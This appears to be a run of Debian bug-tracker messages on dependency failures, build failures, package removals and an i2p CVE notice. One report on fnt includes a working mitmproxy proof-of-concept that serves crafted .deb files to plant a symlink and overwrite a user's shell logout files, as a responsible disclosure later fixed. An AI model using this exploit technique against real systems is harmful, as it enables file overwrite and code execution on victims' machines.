Bug#1057223: marked as done (librust-futures-util-dev: fails to install: depends on missing librust-futures-io-0.3+std-dev)
Your message dated Sat, 2 Dec 2023 03:26:44 +0200 with message-id and subject line Re: Bug#1057223: librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~) has caused the Debian Bug report #1057223, regarding librust-futures-util-dev: fails to install: depends on missing librust-futures-io-0.3+std-dev to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1057223: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057223 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: librust-futures-util-dev Version: 0.3.29-1 Severity: grave Justification: renders package unusable -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Impossible to install, as it depends on non-existent package librust-h2-0.3+default-dev (>= 0.3.17-~~). -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmVqOBYACgkQLHwxRsGg ASGxPw/+JeFgGm4jAUIt9lkK/nmYRrYLKWTbXF+/A6KC+ba+d9oNNN4Fd+JqdkOr 2L1Ij4A7wbivOITr8bJ4jVX4fOtp7fE/d6EjkuZ0X+RmdKgf/t8cFByCI1YL8Jz8 NXSRrhLH+UrXTqWL+9tuDMe9MFjU8FWwzAQ+Rb5dFAZtEv2uVXfDISP73YqLAnSO C0DiuwRf5Jjn+qkN27IHcbQtQY3wQY6um5XHy9Um0h3Bxhku+/id4LYNezz/0Mqm 3VAYWclRU0BU82mbQr/Sf1YYDTxpUOQVLXVqcwwHAWGIXqUWzqZyPODo527W8Mqz bNi5e+i42fcwjvezf69mPK0dzXgLWl2sybaW3UrixZYvsmvPLMjC/D4JmZnb9zSO scLQXUn9qdv2J31VWc/tpc3vpKQChxE5OA03X0FyEOh7sotCWLIGBOHqwbfQcOmD 9s6UBacUBgKbSVVoauqjAhiCX0RGjCXTQBu7nvh+FZ68IfBxFshNtCOtK/oyIH6w IOSr6UpAh9tn+R+m0TjyUsUGk7/9OfN/3Oe560o5fRsWviSeQ+3p5xVP826Cccjc K/T3x6QBvps+Nug7Hu0D555U7V96WVKLVe5tDk2ui8mTpgcAqkrCmvyf4venbwIx Law5m80NFK2bnoTpSgnK1M/aE/eXf2ZZ45jnrEmwIAHeDjQkNJs= =A/wq -END PGP SIGNATURE- --- End Message --- --- Begin Message --- On Fri, Dec 01, 2023 at 08:58:58PM +0100, Jonas Smedegaard wrote: > Control: retitle -1 librust-futures-util-dev: fails to install: depends on > missing librust-futures-io-0.3+std-dev > > Quoting Jonas Smedegaard (2023-12-01 20:46:33) > > Impossible to install, as it depends on non-existent package > > librust-h2-0.3+default-dev (>= 0.3.17-~~). > > Correction: librust-futures-io-0.3+std-dev (>= 0.3.29-~~) is the missing > package (librust-h2 is instead affected by it, along with 66 other > direct reverse dpeendencies). It's now in unstable: https://tracker.debian.org/news/1482525/accepted-rust-futures-io-0329-1-source-into-unstable/ > - Jonas cu Adrian--- End Message ---
Bug#1043469: marked as done (fnt: insecure deb unpacking)
Your message dated Fri, 01 Dec 2023 21:34:14 +
with message-id
and subject line Bug#1043469: fixed in fnt 1.5-1
has caused the Debian Bug report #1043469,
regarding fnt: insecure deb unpacking
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
1043469: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1043469
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: fnt
Version: 1.4.1-2
Severity: serious
Tags: security
https://www.gnu.org/software/tar/manual/html_node/Integrity.html says:
"When extracting from two or more untrusted archives, each one should be
extracted independently, into different empty directories. Otherwise,
the first archive could create a symbolic link into an area outside the
working directory, and the second one could follow the link and
overwrite data that is not under the working directory."
But fnt extracts every data.tar file into the same directory and does
not correctly remove files (potentially: malicious symlinks) after
extraction. Since fnt downloads debs over HTTP and does not verify their
integrity in any way, man-in-the-middle attackers could exploit this
vulnerability to overwrite arbitrary files.
I've attached a proof-of-concept exploit in the form of a mitmproxy
script.
--
Jakub Wilk
# encoding=UTF-8
# Copyright © 2023 Jakub Wilk
# SPDX-License-Identifier: MIT
# Usage:
# mitmdump --listen-host 127.0.0.1 -s /path/to/fnt_mitm.py
# and then:
# export http_proxy=http://127.0.0.1:8080/
# fnt update
# fnt install symbola
# fnt install unifont
# logout
import contextlib
import io
import os
import subprocess
import tarfile
import tempfile
try:
from mitmproxy.http import Response as HTTPResponse # mitmproxy >= 7.0
except ImportError:
from mitmproxy.http import HTTPResponse # mitmproxy >= 1.0
payload = b'''\
cowsay pwned
sleep inf
'''
debs = []
def mkar(members):
with tempfile.TemporaryDirectory() as tmpdir:
ar_path = f'{tmpdir}/out.ar'
subprocess.run(['ar', 'rcS', ar_path, *members], check=True)
with open(ar_path, 'rb') as file:
return file.read()
@contextlib.contextmanager
def tmpcwd():
old_cwd = os.getcwd()
try:
with tempfile.TemporaryDirectory() as tmpdir:
os.chdir(tmpdir)
yield
finally:
os.chdir(old_cwd)
with tmpcwd():
members = ['debian-binary', 'control.tar.xz', 'data.tar.xz']
for member in members:
with open(member, 'wb'):
pass
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
tinfo = tarfile.TarInfo('par')
tinfo.type = tarfile.SYMTYPE
tinfo.linkname = '..'
tfile.addfile(tinfo)
debs += [mkar(members)]
with tarfile.open('data.tar.xz', mode='w|xz') as tfile:
for target in '.bash_logout', '.zlogout':
tinfo = tarfile.TarInfo(f'par/{target}')
tinfo.size = len(payload)
tfile.addfile(tinfo, io.BytesIO(payload))
debs += [mkar(members)]
class state:
n = 0
def request(flow):
if flow.request.path.endswith('.deb'):
flow.response = HTTPResponse.make(
200,
debs[state.n],
{'Content-Type': 'application/vnd.debian.binary-package'}
)
state.n ^= 1
# vim:ts=4 sts=4 sw=4 et
--- End Message ---
--- Begin Message ---
Source: fnt
Source-Version: 1.5-1
Done: Gürkan Myczko
We believe that the bug you reported is fixed in the latest version of
fnt, which is due to be installed in the Debian FTP archive.
A summary of the changes between this version and the previous one is
attached.
Thank you for reporting the bug, which will now be closed. If you
have further comments please address them to 1043...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.
Debian distribution maintenance software
pp.
Gürkan Myczko (supplier of updated fnt package)
(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256
Format: 1.8
Date: Fri, 01 Dec 2023 21:04:13 +0100
Source: fnt
Architecture: source
Version: 1.5-1
Distribution: unstable
Urgency: medium
Maintainer: Debian Fonts Task Force
Changed-By: Gürkan Myczko
Closes: 1043469
Changes:
fnt (1.5-1) unstable; urgency=medium
.
* New upstream version. (Closes: #1043469)
* debian/patches: dropped.
Checksums-Sha1:
caa9bf2fa4f6ca308514746f29c9b22f72fb2eec 1819 fnt_1.5-1.dsc
Bug#1057120: Fwd: Bug#1057120: gettext: FTBFS on amd64 in sid chroot due to failing autopoint-3 test
Santiago Vila wrote: > The message about jobserver disappeared when I disabled parallel build. > I guess it is some kind of Makefile bug. The message was: warning: jobserver unavailable: using -j1. To me, this sounds like 'make' could not create a jobserver, because the jobservers rely on named pipes [1] and the reporter says he's in a chroot. Some file names may not be allowed in a chroot, or some directory may be missing. I don't see this as a Makefile bug, but rather as a limitation of the specific chroot environment. Bruno [1] https://www.gnu.org/software/make/manual/html_node/POSIX-Jobserver.html
Processed: Re: librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~)
Processing control commands: > retitle -1 librust-futures-util-dev: fails to install: depends on missing > librust-futures-io-0.3+std-dev Bug #1057223 [librust-futures-util-dev] librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~) Changed Bug title to 'librust-futures-util-dev: fails to install: depends on missing librust-futures-io-0.3+std-dev' from 'librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~)'. -- 1057223: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057223 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#1057223: librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~)
Control: retitle -1 librust-futures-util-dev: fails to install: depends on missing librust-futures-io-0.3+std-dev Quoting Jonas Smedegaard (2023-12-01 20:46:33) > Impossible to install, as it depends on non-existent package > librust-h2-0.3+default-dev (>= 0.3.17-~~). Correction: librust-futures-io-0.3+std-dev (>= 0.3.29-~~) is the missing package (librust-h2 is instead affected by it, along with 66 other direct reverse dpeendencies). - Jonas -- * Jonas Smedegaard - idealist & Internet-arkitekt * Tlf.: +45 40843136 Website: http://dr.jones.dk/ * Sponsorship: https://ko-fi.com/drjones [x] quote me freely [ ] ask before reusing [ ] keep private signature.asc Description: signature
Bug#1057223: librust-futures-util-dev: fails to install: depends on missing librust-h2-0.3+default-dev (>= 0.3.17-~~)
Package: librust-futures-util-dev Version: 0.3.29-1 Severity: grave Justification: renders package unusable -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Impossible to install, as it depends on non-existent package librust-h2-0.3+default-dev (>= 0.3.17-~~). -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEn+Ppw2aRpp/1PMaELHwxRsGgASEFAmVqOBYACgkQLHwxRsGg ASGxPw/+JeFgGm4jAUIt9lkK/nmYRrYLKWTbXF+/A6KC+ba+d9oNNN4Fd+JqdkOr 2L1Ij4A7wbivOITr8bJ4jVX4fOtp7fE/d6EjkuZ0X+RmdKgf/t8cFByCI1YL8Jz8 NXSRrhLH+UrXTqWL+9tuDMe9MFjU8FWwzAQ+Rb5dFAZtEv2uVXfDISP73YqLAnSO C0DiuwRf5Jjn+qkN27IHcbQtQY3wQY6um5XHy9Um0h3Bxhku+/id4LYNezz/0Mqm 3VAYWclRU0BU82mbQr/Sf1YYDTxpUOQVLXVqcwwHAWGIXqUWzqZyPODo527W8Mqz bNi5e+i42fcwjvezf69mPK0dzXgLWl2sybaW3UrixZYvsmvPLMjC/D4JmZnb9zSO scLQXUn9qdv2J31VWc/tpc3vpKQChxE5OA03X0FyEOh7sotCWLIGBOHqwbfQcOmD 9s6UBacUBgKbSVVoauqjAhiCX0RGjCXTQBu7nvh+FZ68IfBxFshNtCOtK/oyIH6w IOSr6UpAh9tn+R+m0TjyUsUGk7/9OfN/3Oe560o5fRsWviSeQ+3p5xVP826Cccjc K/T3x6QBvps+Nug7Hu0D555U7V96WVKLVe5tDk2ui8mTpgcAqkrCmvyf4venbwIx Law5m80NFK2bnoTpSgnK1M/aE/eXf2ZZ45jnrEmwIAHeDjQkNJs= =A/wq -END PGP SIGNATURE-
Processed: tags
Processing commands for cont...@bugs.debian.org:
> tags 1057120 + ftbfs
Bug #1057120 {Done: Santiago Vila } [gettext] gettext:
FTBFS on amd64 in sid chroot due to failing autopoint-3 test
Added tag(s) ftbfs.
> severity 1057120 serious
Bug #1057120 {Done: Santiago Vila } [gettext] gettext:
FTBFS on amd64 in sid chroot due to failing autopoint-3 test
Severity set to 'serious' from 'important'
> thanks
Stopping processing here.
Please contact me if you need assistance.
--
1057120: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1057120
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
Bug#1043161: marked as done (i2p: CVE-2023-36325)
Your message dated Fri, 01 Dec 2023 18:59:26 + with message-id and subject line Bug#1057181: Removed package(s) from unstable has caused the Debian Bug report #1043161, regarding i2p: CVE-2023-36325 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1043161: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1043161 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: i2p Version: 0.9.48-1.1 Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for i2p. CVE-2023-36325[0]: | Attackers can de-anonymize i2p hidden services with a message replay | attack Should i2p be removed from unstable? If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. For further information see: [0] https://security-tracker.debian.org/tracker/CVE-2023-36325 https://www.cve.org/CVERecord?id=CVE-2023-36325 [1] https://xeiaso.net/blog/CVE-2023-36325 Regards, Salvatore --- End Message --- --- Begin Message --- Version: 0.9.48-1.1+rm Dear submitter, as the package i2p has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057181 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1031817: marked as done (i2p: Migrate to Tomcat 10)
Your message dated Fri, 01 Dec 2023 18:59:26 + with message-id and subject line Bug#1057181: Removed package(s) from unstable has caused the Debian Bug report #1031817, regarding i2p: Migrate to Tomcat 10 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1031817: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1031817 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: i2p Version: 0.9.48-1.1 Severity: important i2p depends on libtomcat9-java but this package is going to be removed. Please use libtomcat10-java instead. --- End Message --- --- Begin Message --- Version: 0.9.48-1.1+rm Dear submitter, as the package i2p has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057181 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1018197: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:56:56 + with message-id and subject line Bug#1057216: Removed package(s) from unstable has caused the Debian Bug report #1018197, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1018197: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1018197 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-cprng-aes Version: 0.6.1-8 Severity: serious This package is deprecated in favor or cryptonite. I intend to remove this package. -- Ilias --- End Message --- --- Begin Message --- Version: 0.6.1-10+rm Dear submitter, as the package haskell-cprng-aes has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057216 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1018196: marked as done (Removal notice: obsolete)
Your message dated Fri, 01 Dec 2023 18:57:23 + with message-id and subject line Bug#1057217: Removed package(s) from unstable has caused the Debian Bug report #1018196, regarding Removal notice: obsolete to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1018196: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1018196 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-cipher-aes Version: 0.2.11-9 Severity: serious This package is deprecated in favor of cryptonite. I intend to remove this package. -- Ilias --- End Message --- --- Begin Message --- Version: 0.2.11-11+rm Dear submitter, as the package haskell-cipher-aes has just been removed from the Debian archive unstable we hereby close the associated bug reports. We are sorry that we couldn't deal with your issue properly. For details on the removal, please see https://bugs.debian.org/1057217 The version of this package that was in Debian prior to this removal can still be found using https://snapshot.debian.org/. Please note that the changes have been done on the master archive and will not propagate to any mirrors until the next dinstall run at the earliest. This message was generated automatically; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org. Debian distribution maintenance software pp. Thorsten Alteholz (the ftpmaster behind the curtain)--- End Message ---
Bug#1054972: marked as done (haskell-butcher: FTBFS: unsatisfiable build-dependencies: libghc-base-dev-4.15.1.0-6a406, libghc-monad-control-dev-1.0.3.1-20361, libghc-mtl-dev-2.2.2-e3bae, libghc-tagged
Your message dated Fri, 01 Dec 2023 18:52:44 + with message-id and subject line Bug#1057206: Removed package(s) from unstable has caused the Debian Bug report #1054972, regarding haskell-butcher: FTBFS: unsatisfiable build-dependencies: libghc-base-dev-4.15.1.0-6a406, libghc-monad-control-dev-1.0.3.1-20361, libghc-mtl-dev-2.2.2-e3bae, libghc-tagged-dev-0.8.6.1-38317, libghc-transformers-base-dev-0.4.6-a0a78, libghc-transformers-dev-0.5.6.2-fc6f3, haddock-interface-38, libghc-base-prof-4.15.1.0-6a406, libghc-monad-control-prof-1.0.3.1-20361, libghc-mtl-prof-2.2.2-e3bae, libghc-tagged-prof-0.8.6.1-38317, libghc-transformers-base-prof-0.4.6-a0a78, libghc-transformers-prof-0.5.6.2-fc6f3 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054972: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054972 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-butcher Version: 1.3.3.2-2 Severity: serious Justification: FTBFS Tags: trixie sid ftbfs User: lu...@debian.org Usertags: ftbfs-20231028 ftbfs-trixie Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > +--+ > | Install package build dependencies > | > +--+ > > > Setup apt archive > - > > Merged Build-Depends: debhelper (>= 10), haskell-devscripts-minimal | > haskell-devscripts (>= 0.13), cdbs, ghc, ghc-prof, libghc-bifunctors-dev (<< > 5.6), libghc-bifunctors-prof (<< 5.6), libghc-deque-dev (>= 0.3), > libghc-deque-dev (<< 0.5), libghc-deque-prof (>= 0.3), libghc-deque-prof (<< > 0.5), libghc-extra-dev (<< 1.8), libghc-extra-prof (<< 1.8), libghc-free-dev > (<< 5.2), libghc-free-prof (<< 5.2), libghc-microlens-dev (<< 0.5), > libghc-microlens-prof (<< 0.5), libghc-microlens-th-dev (<< 0.5), > libghc-microlens-th-prof (<< 0.5), libghc-multistate-dev (>= 0.7), > libghc-multistate-dev (<< 0.9), libghc-multistate-prof (>= 0.7), > libghc-multistate-prof (<< 0.9), libghc-unsafe-dev (<< 0.1), > libghc-unsafe-prof (<< 0.1), libghc-void-dev (<< 0.8), libghc-void-prof (<< > 0.8), libghc-hspec-dev, libghc-hspec-prof, build-essential, fakeroot, > ghc-doc, libghc-bifunctors-doc, libghc-deque-doc, libghc-extra-doc, > libghc-free-doc, libghc-microlens-doc, libghc-microlens-th-doc, > libghc-multistate-doc, libghc-unsafe-doc, libghc-void-doc > Filtered Build-Depends: debhelper (>= 10), haskell-devscripts-minimal, cdbs, > ghc, ghc-prof, libghc-bifunctors-dev (<< 5.6), libghc-bifunctors-prof (<< > 5.6), libghc-deque-dev (>= 0.3), libghc-deque-dev (<< 0.5), libghc-deque-prof > (>= 0.3), libghc-deque-prof (<< 0.5), libghc-extra-dev (<< 1.8), > libghc-extra-prof (<< 1.8), libghc-free-dev (<< 5.2), libghc-free-prof (<< > 5.2), libghc-microlens-dev (<< 0.5), libghc-microlens-prof (<< 0.5), > libghc-microlens-th-dev (<< 0.5), libghc-microlens-th-prof (<< 0.5), > libghc-multistate-dev (>= 0.7), libghc-multistate-dev (<< 0.9), > libghc-multistate-prof (>= 0.7), libghc-multistate-prof (<< 0.9), > libghc-unsafe-dev (<< 0.1), libghc-unsafe-prof (<< 0.1), libghc-void-dev (<< > 0.8), libghc-void-prof (<< 0.8), libghc-hspec-dev, libghc-hspec-prof, > build-essential, fakeroot, ghc-doc, libghc-bifunctors-doc, libghc-deque-doc, > libghc-extra-doc, libghc-free-doc, libghc-microlens-doc, > libghc-microlens-th-doc, libghc-multistate-doc, libghc-unsafe-doc, > libghc-void-doc > dpkg-deb: building package 'sbuild-build-depends-main-dummy' in > '/<>/apt_archive/sbuild-build-depends-main-dummy.deb'. > Ign:1 copy:/<>/apt_archive ./ InRelease > Get:2 copy:/<>/apt_archive ./ Release [615 B] > Ign:3 copy:/<>/apt_archive ./ Release.gpg > Get:4 copy:/<>/apt_archive ./ Sources [1597 B] > Get:5 copy:/<>/apt_archive ./ Packages [1576 B] > Fetched 3788 B in 0s (0 B/s) > Reading package lists... > Reading package lists... > > Install main build dependencies (apt-based resolver) > > > Installing build dependencies > Reading package lists... > Building dependency tree... > Reading state information... > Some packages could not be installed. This may mean that you have > requested an impossible situation or if you are using the unstable > distribution that some required packages have not yet been created > or been moved out of Incoming. > The following information may help to resolve the situation: > > The following
Bug#1054929: marked as done (haskell-ixset: FTBFS: unsatisfiable build-dependencies: libghc-array-dev-0.5.4.0-0b6fa, libghc-base-dev-4.15.1.0-6a406, libghc-bytestring-dev-0.10.12.1-ced9a, libghc-conta
Your message dated Fri, 01 Dec 2023 18:55:45 + with message-id and subject line Bug#1057214: Removed package(s) from unstable has caused the Debian Bug report #1054929, regarding haskell-ixset: FTBFS: unsatisfiable build-dependencies: libghc-array-dev-0.5.4.0-0b6fa, libghc-base-dev-4.15.1.0-6a406, libghc-bytestring-dev-0.10.12.1-ced9a, libghc-containers-dev-0.6.4.1-31c3b, libghc-template-haskell-dev-2.17.0.0-7274a, haddock-interface-38, libghc-array-prof-0.5.4.0-0b6fa, libghc-base-prof-4.15.1.0-6a406, libghc-bytestring-prof-0.10.12.1-ced9a, libghc-containers-prof-0.6.4.1-31c3b, libghc-template-haskell-prof-2.17.0.0-7274a to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054929: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054929 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-ixset Version: 1.1.1.2-1 Severity: serious Justification: FTBFS Tags: trixie sid ftbfs User: lu...@debian.org Usertags: ftbfs-20231028 ftbfs-trixie Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > +--+ > | Install package build dependencies > | > +--+ > > > Setup apt archive > - > > Merged Build-Depends: cdbs, debhelper (>= 10), ghc (>= 8), ghc-prof, > haskell-devscripts (>= 0.13), libghc-safecopy-dev, libghc-safecopy-prof, > libghc-syb-dev, libghc-syb-prof, libghc-syb-with-class-dev (>= 0.6.1), > libghc-syb-with-class-prof, build-essential, fakeroot, ghc-doc, > libghc-safecopy-doc, libghc-syb-doc, libghc-syb-with-class-doc > Filtered Build-Depends: cdbs, debhelper (>= 10), ghc (>= 8), ghc-prof, > haskell-devscripts (>= 0.13), libghc-safecopy-dev, libghc-safecopy-prof, > libghc-syb-dev, libghc-syb-prof, libghc-syb-with-class-dev (>= 0.6.1), > libghc-syb-with-class-prof, build-essential, fakeroot, ghc-doc, > libghc-safecopy-doc, libghc-syb-doc, libghc-syb-with-class-doc > dpkg-deb: building package 'sbuild-build-depends-main-dummy' in > '/<>/apt_archive/sbuild-build-depends-main-dummy.deb'. > Ign:1 copy:/<>/apt_archive ./ InRelease > Get:2 copy:/<>/apt_archive ./ Release [609 B] > Ign:3 copy:/<>/apt_archive ./ Release.gpg > Get:4 copy:/<>/apt_archive ./ Sources [904 B] > Get:5 copy:/<>/apt_archive ./ Packages [916 B] > Fetched 2429 B in 0s (0 B/s) > Reading package lists... > Reading package lists... > > Install main build dependencies (apt-based resolver) > > > Installing build dependencies > Reading package lists... > Building dependency tree... > Reading state information... > Some packages could not be installed. This may mean that you have > requested an impossible situation or if you are using the unstable > distribution that some required packages have not yet been created > or been moved out of Incoming. > The following information may help to resolve the situation: > > The following packages have unmet dependencies: > libghc-syb-with-class-dev : Depends: libghc-array-dev-0.5.4.0-0b6fa but it > is not installable > Depends: libghc-base-dev-4.15.1.0-6a406 but it > is not installable > Depends: libghc-bytestring-dev-0.10.12.1-ced9a > but it is not installable > Depends: libghc-containers-dev-0.6.4.1-31c3b but > it is not installable > Depends: > libghc-template-haskell-dev-2.17.0.0-7274a but it is not installable > libghc-syb-with-class-doc : Depends: haddock-interface-38 but it is not > installable > libghc-syb-with-class-prof : Depends: libghc-array-prof-0.5.4.0-0b6fa but it > is not installable > Depends: libghc-base-prof-4.15.1.0-6a406 but it > is not installable > Depends: libghc-bytestring-prof-0.10.12.1-ced9a > but it is not installable > Depends: libghc-containers-prof-0.6.4.1-31c3b > but it is not installable > Depends: > libghc-template-haskell-prof-2.17.0.0-7274a but it is not installable > E: Unable to correct problems, you have held broken packages. > apt-get failed. The full build log is available from: http://qa-logs.debian.net/2023/10/28/haskell-ixset_1.1.1.2-1_unstable.log All bugs filed during this archive rebuild are listed at:
Bug#1054955: marked as done (haskell-fclabels: FTBFS: unsatisfiable build-dependency: libghc-base-orphans-dev (< 0.9) but 0.9.1-1 is to be installed)
Your message dated Fri, 01 Dec 2023 18:54:45 + with message-id and subject line Bug#1057212: Removed package(s) from unstable has caused the Debian Bug report #1054955, regarding haskell-fclabels: FTBFS: unsatisfiable build-dependency: libghc-base-orphans-dev (< 0.9) but 0.9.1-1 is to be installed to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 1054955: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1054955 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: haskell-fclabels Version: 2.0.5.1-1 Severity: serious Justification: FTBFS Tags: trixie sid ftbfs User: lu...@debian.org Usertags: ftbfs-20231028 ftbfs-trixie Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): > +--+ > | Install package build dependencies > | > +--+ > > > Setup apt archive > - > > Merged Build-Depends: cdbs, debhelper (>= 10), ghc (>= 8.4.3), ghc-prof, > haskell-devscripts (>= 0.13), libghc-base-orphans-dev (>= 0.8.2), > libghc-base-orphans-dev (<< 0.9), libghc-base-orphans-prof, build-essential, > fakeroot, ghc-doc, libghc-base-orphans-doc > Filtered Build-Depends: cdbs, debhelper (>= 10), ghc (>= 8.4.3), ghc-prof, > haskell-devscripts (>= 0.13), libghc-base-orphans-dev (>= 0.8.2), > libghc-base-orphans-dev (<< 0.9), libghc-base-orphans-prof, build-essential, > fakeroot, ghc-doc, libghc-base-orphans-doc > dpkg-deb: building package 'sbuild-build-depends-main-dummy' in > '/<>/apt_archive/sbuild-build-depends-main-dummy.deb'. > Ign:1 copy:/<>/apt_archive ./ InRelease > Get:2 copy:/<>/apt_archive ./ Release [609 B] > Ign:3 copy:/<>/apt_archive ./ Release.gpg > Get:4 copy:/<>/apt_archive ./ Sources [823 B] > Get:5 copy:/<>/apt_archive ./ Packages [835 B] > Fetched 2267 B in 0s (0 B/s) > Reading package lists... > Reading package lists... > > Install main build dependencies (apt-based resolver) > > > Installing build dependencies > Reading package lists... > Building dependency tree... > Reading state information... > Some packages could not be installed. This may mean that you have > requested an impossible situation or if you are using the unstable > distribution that some required packages have not yet been created > or been moved out of Incoming. > The following information may help to resolve the situation: > > The following packages have unmet dependencies: > sbuild-build-depends-main-dummy : Depends: libghc-base-orphans-dev (< 0.9) > but 0.9.1-1 is to be installed > E: Unable to correct problems, you have held broken packages. > apt-get failed. The full build log is available from: http://qa-logs.debian.net/2023/10/28/haskell-fclabels_2.0.5.1-1_unstable.log All bugs filed during this archive rebuild are listed at: https://bugs.debian.org/cgi-bin/pkgreport.cgi?tag=ftbfs-20231028;users=lu...@debian.org or: https://udd.debian.org/bugs/?release=na=ign=7=7=only=ftbfs-20231028=lu...@debian.org=1=1=1=1#results A list of current common problems and 